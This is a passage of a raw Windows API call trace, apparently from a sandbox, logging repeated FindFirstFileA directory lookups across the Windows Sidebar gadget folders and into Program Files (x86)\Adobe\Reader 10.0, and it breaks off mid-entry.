lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8120, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.564] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff58c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.566] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff58c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.567] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8120, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.579] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.583] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f812a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.583] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8088, dwReserved1=0x4f8083, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.587] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.592] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f812a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.606] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.608] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7080, dwReserved1=0x4f707b, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.611] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.620] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8130, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.635] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.638] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.645] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8134, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.646] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8088, dwReserved1=0x4f8083, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.655] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff5a0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.660] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8134, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.680] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.687] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f812a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.688] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8088, dwReserved1=0x4f8083, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.696] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.700] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f812a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.712] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.717] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f812c, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.717] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8088, dwReserved1=0x4f8083, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.723] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff598, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.727] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f812c, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.732] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff59a, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.741] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff59a, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.753] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.759] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8128, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.760] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8088, dwReserved1=0x4f8083, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.766] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff594, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.773] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8128, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.782] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.793] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff596, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.897] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4f1282, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.897] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.897] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdc2a3de0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc2a3de0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.899] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4ff552, cFileName=".", 